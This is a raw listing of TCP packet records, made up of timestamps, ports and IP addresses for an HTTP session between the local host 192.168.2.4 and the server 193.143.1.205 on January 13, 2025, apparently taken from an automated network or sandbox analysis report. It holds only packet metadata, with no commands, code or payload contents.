Jan 13, 2025 12:47:04.774487019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.774497032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.774507999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.774523020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.774560928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.775192976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.775203943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.775216103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.775243044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.775278091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.778357029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.784888983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.800548077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.800560951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.800571918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.800581932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.800622940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.800654888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.800658941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.800668955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.800678968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.800688982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.800704956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.800714970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.800726891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.800736904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.800745010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.800746918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.800786018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.801000118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.801008940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.801042080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.824552059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.824564934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.824575901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.824624062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.824672937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.833961010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.833971024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.833986998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.833997965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.834008932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.834017992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.834067106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.858210087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.858223915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.858234882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.858270884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.858318090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.858328104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.858338118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.858347893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.858365059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.858376026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.858386040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.858428001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.858541012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.858551025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.858561039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.858597040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.858608961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.858619928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.858629942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.858633995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.858640909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.858675957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.858823061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.858833075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.858841896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.858866930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.891969919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.891979933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.892040968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.892043114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.892050982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.892061949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.892071962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.892081976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.892081976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.892091990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.892132044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.892222881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.892271996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.892290115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.892298937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.892309904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.892342091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.892399073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.892445087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.892462015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.892472029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.892482042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.892493963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.892507076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.892549992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.892705917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.892716885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.892726898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.892736912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.892748117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.892755985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.892757893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.892770052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.892780066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.892786026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.892821074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.893034935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.893044949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.893054962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.893085957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.893114090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.893146038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.893213034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.893229008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.893239021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.893249035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.893265009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.893275023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.893285990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.893296003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.893296003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.893341064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.893614054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.893623114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.893630028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.893639088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.893645048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.893656015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.893668890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.893699884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.893706083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.893717051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.893727064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.893737078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.893747091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.893757105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.893763065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.893768072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.893779039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.893822908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.897010088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897023916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897033930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897042990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897053003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897057056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.897063971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897073984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897083998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897087097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.897095919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897105932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897116899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897119999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.897126913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897136927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897146940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897149086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.897159100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897186995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.897666931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897676945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897686958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897696018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897711992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897712946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.897722006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897732973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897742033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897743940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.897747993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897753954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897763014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897773027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897783995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897794962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897799969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.897804976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.897835016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.897859097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.898334026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.898344040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.898355007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.898364067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.898374081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.898379087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.898384094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.898396015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.898405075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.898416996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.898427963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.898477077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.898505926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.902790070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.913149118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.913161039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.913171053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.913181067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.913207054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.913211107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.913217068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.913227081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.913237095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.913260937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.913283110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.915146112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.946032047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.946096897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.946149111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.946175098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.946182966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.946216106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.946234941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.946249008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.946280956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.946306944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.946312904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.946346045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.946363926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.946377039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.946408033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.946424961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.946440935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.946472883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.946485996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.946505070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.946537971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.946557045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.946569920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.946602106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.946615934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.946635962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.946669102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.946683884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.946700096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.946732044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.946743965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.979615927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.979669094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.979690075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.979701042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.979733944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.979751110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.979765892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.979796886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.979815960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.979830027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.979880095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.979927063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.979958057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.979990005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.980001926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.980048895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.980093956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.980098009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.980130911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.980161905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.980180979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.980195999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.980227947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.980243921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.980278015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.980329037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.980335951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.980376959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.980408907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.980422020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.980444908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.980477095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.980494022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.980509043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.980546951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.980556965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.980596066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.980624914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.980645895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.980658054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.980707884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.980710983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.980739117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.980771065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.980791092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.980820894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.980865955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.980869055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.980901957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.980948925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.980954885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.980982065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981013060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981029034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.981044054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981076002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981091976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.981123924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981156111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981167078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.981199980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981249094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981251001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.981281996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981312990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981328964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.981344938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981376886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981393099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.981429100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981478930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981481075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.981512070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981543064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981554985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.981575966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981626034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981632948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.981657982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981689930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981698036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.981722116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981754065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981771946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.981786013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981817007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981833935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.981848955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981880903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981892109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.981913090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981944084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.981952906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.981976986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.982007980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.982018948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.982043028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.982069016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.982095957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.982099056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.982131004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.982146025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.982161999 CET	80	49730	193.143.1.205	192.168.2.4
